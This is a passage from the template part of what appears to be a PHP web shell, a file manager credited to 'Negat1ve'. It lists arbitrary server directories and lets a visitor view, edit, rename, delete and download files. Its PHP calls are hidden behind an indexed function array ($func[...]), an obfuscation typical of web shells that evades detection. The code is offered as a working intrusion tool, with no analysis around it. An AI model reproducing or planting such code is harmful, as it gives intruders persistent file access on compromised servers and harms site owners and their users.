$i++) { echo "$scdir[$i]"; if ($i != $id) echo "/"; } echo '">'.$pat.'</a></li>'; } } ?> </ol> </nav> [ <?= checkPerm($dir, perms($dir)) ?> ] </div> </div> </div> <div class="col-md-12" id="main"> <div class="card border-dark overflow-auto"> <div class="card-body"> <h5><i class="fa fa-<?= $icon ?>"></i> <?= $title ?></h5> <?php if ($do == 'view') : ?> <h1>Anjing</h1> <?php else: ?> <?php if ($func[9]($dir)) : ?> <div class="table-responsive"> <table class="table table-hover text-nowrap"> <thead> <tr> <th>Name</th> <th>Type</th> <th>Size</th> <th>Last Modified</th> <th>Owner/Group</th> <th>Permission</th> <th>Action</th> </tr> </thead> <tbody> <?php foreach ($scandir as $item) : if (!$func[6]($dir . '/' . $item)) continue; ?> <tr> <td> <?php if ($item === '..') : ?> <a href="?dir=<?= $func[28]($dir); ?>" class="text-decoration-none text-dark"><i class="fa fa-folder-open"></i> <?= $item ?></a> <?php elseif ($item === '.') : ?> <a href="?dir=<?= $dir; ?>" class="text-decoration-none text-dark"><i class="fa fa-folder-open"></i> <?= $item ?></a> <?php else : ?> <a href="?dir=<?= $dir . '/' . $item ?>" class="text-decoration-none text-dark"><i class="fa fa-folder"></i> <?= checkName($item); ?></a> <?php endif; ?> </td> <td><?= $func[38]($item) ?></td> <td class="align-middle">--</td> <td><?= $func[19]("Y-m-d h:i:s", $func[20]($item)); ?></td> <td><?= getowner($item) ?></td> <td><?= checkPerm($dir . '/' . $item, perms($dir . '/' . $item)) ?></td> <td> <button type="button" class="btn btn-outline-dark btn-sm mr-1" <?= $item === ".." || $item === "." ? '' : 'data-bs-toggle="modal" data-bs-target="#renameModal" data-bs-name="'.$item.'"' ?>><i class="fa fa-edit"></i></button> <button type="button" class="btn btn-outline-dark btn-sm mr-1" <?= $item === ".." || $item === "." ? '' : 'data-bs-toggle="modal" data-bs-target="#deleteModal" data-bs-file="'.$dir . '/' . $item.'"'?>><i class="fa fa-trash-alt"></i></button> </td> </tr> <?php endforeach; ?> <?php foreach ($scandir as $item) : if (!$func[7]($dir . '/' . $item)) continue; ?> <tr> <td><a data-bs-toggle="modal" href="#viewModal" role="button" data-bs-name="<?= $item ?>" data-bs-content="<?= $func[18](@$func[14]($item)) ?>" class="text-dark text-decoration-none"><i class="fa fa-<?= geticon($item) ?>"></i> <?= checkName($item); ?></a></td> <td><?= checkName(($func[49]('mime_content_type') ? $func[63]($item) : $func[38]($item))) ?></td> <td><?= formatSize($func[10]($item)) ?></td> <td><?= $func[19]("Y-m-d h:i:s", $func[20]($item)); ?></td> <td><?= getowner($item) ?></td> <td><?= checkPerm($dir . '/' . $item, perms($dir . '/' . $item)) ?></td> <td> <button type="button" class="btn btn-outline-dark btn-sm mr-1" data-bs-toggle="modal" data-bs-target="#renameModal" data-bs-name="<?= $item ?>"><i class="fa fa-edit"></i></button> <button type="button" class="btn btn-outline-dark btn-sm mr-1" data-bs-toggle="modal" data-bs-target="#viewModal" data-bs-name="<?= $item ?>" data-bs-content="<?= $func[18](@$func[14]($item)) ?>"><i class="fa fa-file-signature"></i></button> <button type="button" class="btn btn-outline-dark btn-sm mr-1" data-bs-toggle="modal" data-bs-target="#downloadModal" data-bs-file="<?= $dir . '/' . $item ?>"><i class="fa fa-download"></i></button> <button type="button" class="btn btn-outline-dark btn-sm mr-1" data-bs-toggle="modal" data-bs-target="#deleteModal" data-bs-file="<?= $dir . '/' . $item ?>"><i class="fa fa-trash-alt"></i></button> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> <?php else: ?> <font class="text-danger">Can't read this directory!</font> <?php endif; ?> <?php endif; ?> </div> </div> </div> <div class="col-md-12 my-3"> <div class="card border-dark"> <div class="card-body"> Copyright negat1ve1337@gmail.com <span class="float-end">Coded by <span class="text-muted">Negat1ve</span></span> </div> </div> </div> </div> </div> <div class="modal fade" id="renameModal" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" aria-labelledby="renameModalLabel" aria-hidden="true"> <div class="modal-dialog modal-dialog-centered"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="renameModalLabel">Rename</h5> <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button> </div> <form method="post" id="rename-form"> <div class="modal-body"> <div class="mb-3"> <label for="newname" class="col-form-label">New Name:</label> <input type="text" class="form-control" name="newname" id="newname"> </div> </div> <div class="modal-footer"> <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button> <button type="submit" class="btn btn-primary">Rename</button> </div> </form> </div> </div> </div> <div class="modal fade" id="deleteModal" aria-hidden="true" aria-labelledby="deleteModalToggleLabel2" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1"> <div class="modal-dialog modal-dialog-centered"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="exampleModalToggleLabel2">Delete</h5> <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button> </div> <div class="modal-body"> Are you sure want to delete this? </div> <div class="modal-footer"> <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button> <a href="" class="btn btn-danger" id="delete-confirm">Delete</a> </div> </div> </div> </div> <div class="modal fade" id="downloadModal" aria-hidden="true" aria-labelledby="deleteModalToggleLabel2" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1"> <div class="modal-dialog modal-dialog-centered"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="exampleModalToggleLabel2">Download</h5> <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button> </div> <div class="modal-body"> Are you sure want to download this? </div> <div class="modal-footer"> <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button> <a href="" class="btn btn-danger" id="download-confirm">Download</a> </div> </div> </div> </div> <div class="modal fade" id="viewModal" aria-hidden="true" aria-labelledby="deleteModalToggleLabel2" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1"> <div class="modal-dialog modal-dialog-centered"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="exampleModalToggleLabel2">View</h5> <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button> </div> <form action="" method="post"> <div class="modal-body"> <div class="mb-3"> <label for="content" class="col-form-label">Content:</label> <textarea class="form-control" id="content" rows="15" name="content"></textarea> </div> </div> <div class="modal-footer"> <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button> <button type="submit" class="btn btn-primary">Save</button> </div> </form> </div> </div> </div> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.1/dist/js/bootstrap.bundle.min.js" integrity="sha384-gtEjrD/SeCtmISkJkNUaaKMoLD0//ElJ19smozuHV6z3Iehds+3Ulb9Bn9Plx0x4" crossorigin="anonymous"></script> <script src="https://code.jquery.com/jquery-3.6.0.min.js" integrity="sha256-/xUj+3OJU5yExlq6GSYGSHk7tPXikynS7ogEvDej/m4=" crossorigin="anonymous"></script> <script> var renameModal = document.getElementById('renameModal') var deleteModal = document.getElementById('deleteModal') var viewModal = document.getElementById('viewModal') var downloadModal = document.getElementById('downloadModal') renameModal.addEventListener('show.bs.modal', function (event) { var button = event.relatedTarget var name = button.getAttribute('data-bs-name') var modalTitle = renameModal.querySelector('.modal-title') var modalBodyInput = renameModal.querySelector('.modal-body input') var hiddenInput = document.createElement('input') hiddenInput.type = "hidden"; hiddenInput.value = name; hiddenInput.name = "oldname"; document.getElementById("rename-form").appendChild(hiddenInput); modalBodyInput.value = name }) deleteModal.addEventListener('show.bs.modal', function (event) { var button = event.relatedTarget var file = button.getAttribute('data-bs-file') var deleteConfirm = document.getElementById('delete-confirm') deleteConfirm.href = '?dir=' + file + '&do=delete' }) downloadModal.addEventListener('show.bs.modal', function (event) { var button = event.relatedTarget var file = button.getAttribute('data-bs-file') var downloadConfirm = document.getElementById('download-confirm') downloadConfirm.href = '?dir=' + file + '&do=download' }) viewModal.addEventListener('show.bs.modal', function (event) { var button = event.relatedTarget var content = button.getAttribute('data-bs-content') var name = button.getAttribute('data-bs-name') var modalTitle = viewModal.querySelector('.modal-title') var modalContent = viewModal.querySelector('.modal-body textarea') var hiddenInput = document.createElement('input') hiddenInput.type = "hidden"; hiddenInput.value = name; hiddenInput.name = "filename"; viewModal.querySelector("form").appendChild(hiddenInput); modalTitle.textContent = 'Edit ' + name modalContent.value = content }) </script> </body> </html>